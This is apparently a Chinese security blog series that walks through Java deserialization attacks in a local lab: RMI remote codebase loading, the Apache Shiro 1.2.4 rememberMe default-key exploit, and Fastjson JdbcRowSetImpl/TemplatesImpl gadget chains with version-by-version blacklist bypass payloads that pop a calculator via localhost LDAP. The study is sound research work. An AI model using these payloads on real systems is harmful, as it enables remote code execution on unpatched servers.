在真实环境中,RMIClient是在攻击者的电脑上运行的,所以我把RMIClient移动到其他目录下来模拟这个环境。

如果你进入out/production/RM_ITEST生成目录(不在IDEA中)下看的话,你会发现还有一个class文件 - RMIClient$Payload.class,这是我们在RMIClient内部生成的class文件,也就是Server会去找的Payload类,我们也不能让它与RemoteRMIServer.class在一个目录,不然Server端是能在本地找到Payload类的,从而不能触发漏洞。同样将它移动到其他目录去,这里我把它和RMIClient.class、ICalc放一起。

这里可能会有疑问为什么要将ICalc也放在这,因为我们在Client的代码中将stub转换成了ICalc类,所以也得放在一起。那能不能不转换呢?答案是不可以,经过测试,Stub必须被转化为相应的类,否则call其方法的时候不会有反应。注意这里也需要client.policy,因为我们在client也配置了SecurityManager

image-20211213001727380

一切准备就绪,先运行Server端

这里我选择用terminal来执行,你也可以使用IDEA的配置来执行

java -Djava.rmi.server.hostname=127.0.0.1 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer

此处hostname为你RMI服务器的地址,security.policy是我们之前创建的policy文件的名字,RemoteRMIServer是我们要运行的Java class文件名字

你需要在生成的相关class文件目录下运行命令(之前一直在IDEA下面的terminal运行,运行实际是在java文件目录下,导致卡在这里很久)

接着你需要模仿攻击者,在你的恶意类(RMIClient$Payload.class)所在目录搭建一个http服务,供server端访问下载你的恶意类

image-20211212233501619

此处我使用python,在本地搭建了一个8080端口的web服务

接着,可以用RMIClient实施攻击了

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://127.0.0.1:8080/ -Djava.security.policy=client.policy RMIClient

这里的codebase是你搭建的web服务地址,RMIClient为你运行的Class名字。

成功弹出计算器!计算器被弹出两次,第一次是因为Client创建Payload实例(在攻击者电脑上弹出),第二次是远程执行(在被攻击服务端上弹出)。

image-20211212233854484

同时我们在python运行的web服务上也能看到class加载记录

image-20211213001956198

Reference

P神 - Java安全漫谈

Shiro反序列化漏洞系列

Shiro550反序列化漏洞

环境搭建

1
2
3
git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

在Intellij中将samples/web以项目的形式打开,在pom.xml中将jstl修改为1.2版本

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

整个project将使用jdk1.8

Tomcat配置如下:

image-20211223132310175

运行即可。

image-20211223151852743

反序列化触发流程

入手点

问题主要出在登录处的Remember Me功能。

image-20211223152235321

image-20211223152603584

image-20211223152643912

我们发现登陆后的cookie中会有rememberMe的字段,同时后面跟了一长串的数据。

我们猜测rememberMe可能保存了我们的账号密码数据

为了验证我们的猜想,在Intellij中连续按两下shift,搜索RememberMe

image-20211223153240686

这里找到了相关的Class,我们进入AbstractRememberMeManager看一下

看名字,我们就能猜出是和Remember Me这个功能有关

看一下它的constructor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

public AbstractRememberMeManager() {
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);//此处设置了cipher key
}

public void setCipherKey(byte[] cipherKey) {
this.setEncryptionCipherKey(cipherKey);
this.setDecryptionCipherKey(cipherKey);
}
public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
this.encryptionCipherKey = encryptionCipherKey;
}
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}

我们发现,AbstractRememberMeManager被创建的时候,会setCipherKey,而这个key是默认的。

分析到这里,好像和我们的remember Me没什么关系,继续往下看。

RememberMe生成

image-20211223154957970

我们在登录成功这里下个断点,发现他会call到rememberIdentity()

我们跟进去

1
2
3
4
5
6
7
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);//1
this.rememberIdentity(subject, principals);
}
protected PrincipalCollection getIdentityToRemember(Subject subject, AuthenticationInfo info) {
return info.getPrincipals();//2
}

我们发现principals实际上我们的登录名

image-20211223163019109

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}

获取到账号后,又会call到rememberIdentity()

我们跟进convertPrincipalsToBytes()

image-20211223163224292

再跟进encrpyt()

image-20211223163334597

1
2
3
public byte[] getEncryptionCipherKey() {
return this.encryptionCipherKey;
}

发现encryptionCipherKey在之前分析的时候出现过

再回顾一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

public AbstractRememberMeManager() {
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);//此处设置了cipher key
}

public void setCipherKey(byte[] cipherKey) {
this.setEncryptionCipherKey(cipherKey);//设置加密密钥
this.setDecryptionCipherKey(cipherKey);
}
public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
this.encryptionCipherKey = encryptionCipherKey;//由此我们可以看出,其实encryptionCipherKey就是上面默认的key
}
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}

到现在,我们已经明白,用户信息被做了AES加密

当加密数据都被返回后,下一步会执行rememberSerializedIdentity()

image-20211223163615319

image-20211223163755978

因此我们可以判断出cookie中的rememberMe的产生流程

  • 序列化用户名
  • AES加密序列化后的数据
  • base64编码处理上一步的数据
  • 最后放入cookie

RememberMe解密

在AbstractRememberMeManager#getRememberedPrincipals下一个断点

image-20211223165224129

然后重启服务器,会被断下来

image-20211223165446209

image-20211223165804156

image-20211223165926366

image-20211223165955572

现在RememberMe解密的流程也显而易见:

  • 从Cookie中获取RememberMe值
  • 获取到的值进行base64解码
  • base64解码
  • 反序列化

漏洞利用及POC

首先在pom.xml中添加commons-collections dependency

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

注意要reload maven(因为忘记重载maven,在这里卡了半天,发现后面的ClassLoader一直找不到class,调试半天也没搞明白为什么没有这个库)

这里我们将用到CommonsCollections11的链,CC6的链在此处不能打成功 - 因为Transformer[]会在寻找class的时候出现格式问题,其中会涉及到ParallelWebappClassLoader的父类WebappClassLoaderBase#loadClass;因此我们选择CommonCollections11这个链(没有Transformer[]数组)

image-20211223232137157

详见 https://www.cnblogs.com/W4nder/p/14508817.html,我在此处就不多讲解。

POC构造

此处我新建了一个项目,同时导入了三个库

  • shiro-core-1.2.4
  • slf4j-api-1.6.4
  • slf4j-simple-1.6.4

这三个jar包可以在shiro-web项目中找到: 打开shiro-web项目下的pom.xml文件,搜索这三个库,然后鼠标放在名字上面即可看到路径

image-20211223233932961

然后找到相应的目录,copy jar包并导入我们的POC项目即可

image-20211223234007242

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;

public class shiro550 {
public static void main(String[] args) throws IOException {
byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");//默认密钥

AesCipherService aesCipherService = new AesCipherService();
byte[] evilObj = getSerializedObj();//得到byte数组类型的序列化数据

ByteSource finalsource = aesCipherService.encrypt(evilObj, DEFAULT_CIPHER_KEY_BYTES);//对该恶意序列化数据进行AES加密
System.out.println(finalsource.toString());//打印出加密后的rememberMe


}
public static byte[] getSerializedObj() throws IOException {

int n;
FileInputStream fileInputStream = new FileInputStream("1.ser");//加载cc11生成的恶意序列化文件
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

while((n=fileInputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
return byteArrayOutputStream.toByteArray();

}
}

为什么我们加密后可以直接返回**finalsource.toString()**,不是说最后要base64编码吗?

image-20211223232837239

我们跟踪到最后可以发现,其返回了SimpleByteSource#toString()方法,而它就是返回了toBase64()

现在我们将生成出来的一串字符复制到cookie的rememberMe处,执行后发现计算器弹出。

image-20211223232449924

Reference

shiro-1.2.4反序列化分析踩坑

P神-Java漫谈

FastJson反序列化漏洞系列

前言

FastJson是由阿里巴巴开发的一个java库,可将对象快速转换为json字符,同时也可将json字符串转化为相应的对象

Fastjson的基础使用

场景

在做RESTFUL项目的时候常常需要将json数据格式进行转换,比如将{name:"leihehe", age: 18}转成Student类的Object

环境搭建

在MAVAN中添加fastjson即可,本文将分析1.2.4及其之后的各种版本,测试时将下面的version进行修改即可。

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

将对象转化为json格式

首先准备一个User类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class User {
String name;

public User(){
System.out.println("constructor invoked");

}
public String getName() {
System.out.println("get name");
return name;
}

public void setName(String name) throws IOException {
System.out.println("set name");
this.name = name;
}

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
'}';
}
}

写一个main方法测试:

1
2
3
4
5
6
7
8
9
10
11
12
public class Test {
public static void main(String[] args) throws IOException {
/* Serialization */
User user = new User();
user.setName("leihehe");
String result = JSON.toJSONString(user);
String result2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);//Label the class name
System.out.println(result);
System.out.println(result2);
}
}

在这里toJSONString有两种写法

  • Json.toJSONString(obj)
    • 转换为JSON格式
  • Json.toJSONString(obj,SerializerFeature.WriteClassName)
    • 在转换的JSON格式中指定该对象属于什么类

image-20220108105129564

可以发现toJSONString会call到get方法,其中第二种JSONString会返回@type,从而指明object所在类。

将json格式转化为对象

FastJson有两种转换json格式为对象的方法

  • JSON.parse(str)
  • JSON.parseObject(str)

这两个其实都是一样的,只是parseObject()要比parse()多一个toJson(),也就是parseObject()返回的是JSONObject,而parse()返回的是其实际的类的对象

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

parseObject()在实际运行的时候会调用get和set方法,其中get方法会在toJSON()中被调用

image-20220108111958984

而parse()只会调用对象的set方法

image-20220108112115321

此处我们以parse()进行演示

1
2
3
4
/* Deserialization */
String jsonString="{\"name\":\"leihehe\"}";
Object obj2 = JSON.parse(jsonString);
System.out.println(obj2);

image-20220108112140316

set方法并未被调用,因为fastJSON并不知道传过来的json应该被转换为哪一个类的对象,因此我们需要指定其type

1
2
3
String jsonString = "{\"@type\":\"entity.User\",\"name\":\"leihehe\"}";
Object obj2 = JSON.parse(jsonString);
System.out.println(obj2);

image-20220108112247858

可见调用了constructor和set方法。

那么可以将恶意执行代码放在User#setName()里,就能执行了

1
2
3
4
5
6
public void setName(String name) throws IOException {
System.out.println("set name");
Runtime.getRuntime().exec("calc");
this.name = name;
}

image-20220108112504772

Setter和Getter调用的深入探究

JavaBeanInfo#build

Fastjson是如何调用对应的setter和getter的呢?

关键点在于JavaBeanInfo#build方法中

image-20220108204218773

因为我们传入的@type并不满足该条件,因此不会进入if里的语句。

Setter

继续往下看,这里的methods实际是上面的

1
Method[] methods = clazz.getMethods();//获取到的是public的methods

image-20220108204615107

此处遍历了所有的methods,并要求满足以下条件

method name的长度大于等于4

method只能有一种parameter

method并非static类型

method的返回类型必须为void或者当前method所在的class的类型

这样才能进入执行下面的语句

image-20220108205558062

根据不同的情况,会产生不同的propertyName,简单来说,都是依照java常见的书写方法的格式。

如果以上条件都不满足,则在method的第一个字符变为大写并在前面加上is作为field

image-20220108210443480

最后用add方法,将filed添加到filedInfo中

image-20220108210555536

Getter

紧跟着的,是Getter的获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
for(i = 0; i < var29; ++i) {
method = var30[i];
String methodName = method.getName();
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {
JSONField annotation = (JSONField)method.getAnnotation(JSONField.class);
if (annotation == null || !annotation.deserialize()) {
String propertyName;
if (annotation != null && annotation.name().length() > 0) {
propertyName = annotation.name();
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}

fieldInfo = getField(fieldList, propertyName);
if (fieldInfo == null) {
if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

add(fieldList, new FieldInfo(propertyName, method, (Field)null, clazz, type, 0, 0, 0, annotation, (JSONField)null, (String)null));
}
}
}
}

可以看出被调用的getter需要满足以下要求:

Method name >=4

method不是static类型的

method name必须以get开头

method name的第四个字符必须是大写

method是无参的

method的返回类型是Collection、Map、AtomicBoolean、AtomicInteger、或AtomicLong中的任意一个

最后会被添加到FieldInfo中

Build方法的最后会返回一个JavaBeanInfo

return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);

Fastjson的反序列化流程

JSON.parse()处下个断点

image-20220108164249197

一直往下走,可以看见创建了DefaultJSONParser对象

image-20220108164603987

跟进去看是如何创建的:

image-20220108164636943

这里会判断开头字符是否为{,如果是,那么赋值token为12

接下来再进入parse()

image-20220108164727601

image-20220108164746325

因为之前token设置为12,所以跳入了case 12

创建一个新的JSONObject,并call到parseObject()

image-20220108164924577

继续往下走:

image-20220108172115011

TypeUtils#loadClass中判断className,这里都不满足,因此跳过。

image-20220108173137665

mappings.put(className, clazz);将classname和对应的class放入mapping中,最后在进行反序列化。

image-20220108174017479

image-20220108174039274

JdbcRowSetImpl利用链

利用链分析

JdbcRowSetImpl可以配合JNDI+RMI或者JNDI+LDAP注入,如果不知道JNDI注入的师傅可以看这里

在JdbcRowSetImpl.class的connect方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());//此处是关键
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

发现了initialContext和lookup(),代表此处可以利用JNDI - 如果我们修改了dataSourceName为我们的RMI或者LDAP远程地址,那么就可以进行JNDI注入。

那么什么地方可以call到**connect()**呢

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

在setAutoCommit方法中,会call到connect()方法。

POC构造

在之前的Fastjson的反序列化流程中,我们有说到fastjson可以调用public的set方法,那么我们就可以构造这样的一个jsonString

1
2
3
4
5
String evilStr="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}";

Object obj2 = JSON.parse(evilString);

System.out.println(obj2);

传入的json中,属性有dataSourceName和autoCommit,因此在使用JSON.parse()的时候,dataSource和autoCommit对应的setDataSource()autoCommit()都会被call

从而能够执行以下代码

1
initialContext.lookup("ldap://127.0.0.1:7777/#EvilObject")

image-20220108201834255

TemplatesImpl利用链

利用链分析

在cc链的分析中,我们多次用到了TemplatesImpl利用链,利用链如下

TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()

简单回顾一下,我们可以将生成的恶意字节码赋值给TemplatesImpl中的_bytecodes,最后在defineClass中,会将该恶意字节码读取进JVM中。

先写一个恶意字节码:

1
2
3
4
5
6
7
8
9
10
11
12
public static String getEvilCode() throws CannotCompileException, IOException, NotFoundException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("Evil");
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
ctClass.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");");
ctClass.setSuperclass(classPool.getCtClass(AbstractTranslet.class.getName()));

byte[] bytes = ctClass.toBytecode();
String s = Base64.getEncoder().encodeToString(bytes);
System.out.println(s);
return s;
}
  1. 这里为什么要继承AbstractTranslet呢?

我们在讲cc2链的时候说过,我们生成的恶意代码是在static代码块的,我们仍然需要让class对象被创建,这样才能执行我们的恶意代码。

img

此处TemplatesImpl#getTransletInstance中,我们需要执行了newInstance()才能触发漏洞,而执行的字节码需要继承AbstractTranslet

  1. 为什么bytecodes最后需要用Base64编码?

实际上fastjson在对field进行反序列化的时候,会进行base64解码,具体的我没有跟,有兴趣的师傅可以跟一下FieldDeserializer#parseField

POC构造与分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;
import java.util.Base64;

public class EvilClass {
public static String getEvilCode() throws CannotCompileException, IOException, NotFoundException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("Evil");
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
ctClass.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");");
ctClass.setSuperclass(classPool.getCtClass(AbstractTranslet.class.getName()));

byte[] bytes = ctClass.toBytecode();
String s = Base64.getEncoder().encodeToString(bytes);
System.out.println(s);
return s;
}
public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {

String evilJson="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+getEvilCode()+"\"],\"_name\":\"leihehe\",\"_tfactory\":{ },\"outputProperties\":{ }}\n";
JSON.parseObject(evilJson,Object.class,Feature.SupportNonPublicField);
}
}

此处outputProperties会让fastjson找到getOuputProperties(),从而触发利用链。

但需要注意的是,在TemplatesImpl类中这几个方法是private的,所以我们需要开启Feature.SupportNonPublicField,这里也是导致TemplatesImpl链在fastjson反序列化漏洞利用中有所局限性的主要原因。

另外,在我们使用parseObject()时,需要指定为Object.class,否则返回的类型是JSONObject类型

JSON.parseObject()JSON.parse()需要满足的格式:

JSON.parseObject(evilJson, Object.class, Feature.SupportNonPublicField);

JSON.parse(evilJson,Feature.SupportNonPublicField);

后面的field基本上就是用反射的形式,设置value,例如_bytecodes

image-20220109150412316

最后的outputProperties也一样,最后通过反射执行。image-20220109150849934

弹出计算器

image-20220109150954388

总结两条利用链的区别

TemplatesImpl

  • 当fastjson不出网时,可以盲打
  • 版本在1.2.22起才有SupportNonPublicField特性,且要求在代码中开启SupportNonPublicField.

JdbcRowSetImpl链

  • 利用范围更广
  • 当fastjson不出网时,无法完成jndi注入,同时高版本中的jdk有一些限制,只能通过利用本地类来完成反序列化漏洞利用。

Fastjson各个版本分析

1.2.25版本变化

可以发现在1.2.25中: TypeUtils.loadClass()被修改为了checkAutoType()

image-20220109214228148

image-20220109214347945

1.2.25版本中,首先对autoTypeSupport布尔值进行判断,如果autoTypeSupport为true,那么开始检查黑名单和白名单,如果都不满足,则从Mapping中获取class。

如果autoTypeSupport为false,那么循环遍历白名单与黑名单,如果在黑名单中,则抛出异常,如果不在白名单中,则最后抛出"autoType is not support xxx"异常,因此如果autoTypeSupport为false,就一定无法执行成功。

image-20220109221758660

image-20220109214959269

黑名单如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.//这是templatesImpl和JdbcRowSetImpl所在的package
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernat
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

1.2.25-1.2.41绕过

因为黑名单中有com.sun,因此想要直接绕过黑名单基本是不可能了

image-20220109231952820

我们需要寻找其他方法来避开黑名单的检测。此后的绕过过程我们都以JdbcRowSetImpl链来分析。另外,因为1.2.25后添加了autoTypeSupport Check,因此我们需要先将autoTypeSupport设为true

1
2
3
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String evilStr="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}";
JSON.parseObject(evilStr,Object.class);

在第三行下个断点进行分析:

image-20220109233459957

我们发现最后一定会进入checkAutoType()

如果既不在白名单,也不再黑名单中,则会执行以下代码:

1
2
3
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

即call到TypeUtils#loadClass方法

但我们的所要进行反序列化的类都是在黑名单里面的,怎么办呢?

我们继续跟进loadClass看看。发现loadClass中有两个检测:

image-20220109233742373

如果是[开头的class name,就去掉[,并返回一个array类型的的新对象

如果是L开头、;结尾的class name,就去掉首尾,加载中间的class

方法一:以[开头

那么我们试试以[开头

image-20220109235030406

按照提示在后面加个[,报了一个新的错误,需要再添加一个{

image-20220109235105137

image-20220109235132417

1
2
3
4
5
public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String evilStr="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}";
JSON.parseObject(evilStr,Object.class);
}

现在计算器就可以成功弹出了。

这个POC看起来实在奇怪,fastjson是如何区别数组类型的参数的,为何以[开头,后面就一定要跟[{,我猜测是在正常流程中,fastjson做了一些处理,让字符串以[开头,表示后面的是一串数组json,因此会去寻找[{

方法二:以L开头;结尾

前面有分析到,以L开头,;结尾的class name会被截取中间的部分,然后传入loadClass。

1
2
3
4
5
....
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
....

那么我们可以构造以下的POC:

1
2
3
4
5
6
public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String evilStr="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}";
JSON.parseObject(evilStr,Object.class);
}

image-20220110124835115

成功弹出计算器。

1.2.42版本变化

在ParserConfig#checkAutoType()中,检测到L开头;结尾的classname,就会将首尾去掉,然后再放入黑名单中检查。

同时黑名单做了hash加密,但因为加密方式在com.alibaba.fastjson.util.TypeUtils#fnv1a_64中能找到,所以可以自己写脚本进行hash碰撞。

这里已经有人整理出来了

1.2.42绕过

方法一:以[开头

新版本并未考虑到[开头的绕过方式,所以依旧可用:

1
2
3
4
5
public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String evilStr="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}";
JSON.parseObject(evilStr,Object.class);
}

方法二:以LL开头;;结尾

绕过黑名单其实很简单,因为此处只对L;做了一次检测,所以我们写两次就可以了。

POC如下:

1
2
3
4
5
6
7
public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String evilStr="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}";

JSON.parseObject(evilStr,Object.class);
}

计算器成功弹出:

image-20220110134359041

1.2.43版本变化及绕过

image-20220110134617419

这里对复写LL;;的方式也做了检测,因此不能再使用这种方式绕过了。

但以[开头的方式依然可以绕过

POC:

1
2
3
4
5
public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String evilStr="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:7777/#EvilObject\",\"autoCommit\":true}";
JSON.parseObject(evilStr,Object.class);
}

1.2.44版本变化

在checkAutoType中对[开头的classname也做了检测,因此我们之前的方法失效。

这里找出了新的利用链,且并不在黑名单中:但必须要有需要有第三方组件ibatis-core 3:0

1
2
3
4
5
6
public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String evilStr= "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://localhost:7777/#EvilObject\"}}";
JSON.parseObject(evilStr,Object.class);
}

1.2.25 - 1.2.47通杀

这里不再调试了,大概就是不停的绕过。

fastjon中有一个判断,如果发现是Class类型,那么就会执行com.alibaba.fastjson.util.TypeUtils#loadClass,loadClass()中先通过java.lang.Class绕过了黑名单检测,并将该Class添加到了mapping中(会判断cache是否为true,默认为true),从而绕过了autoType中的检测。

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}

1.2.48版本变化

将默认cache设为了false,就无法将class放入mapping了。

Fastjson不出网利用

1
2
3
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl//feature需要设为允许给非public属性赋值

org.apache.tomcat.dbcp.dbcp2.BasicDataSource//需要dbcp或者tomcat-dbcp的依赖即可(dbcp是数据库连接池)

dbcp链暂时放在之后再分析。

Reference

Fastjson JdbcRowSetImpl 链及后续漏洞分析

Fastjson 1.2.22-1.2.24反序列化漏洞分析

fastjson各个版本反序列化漏洞分析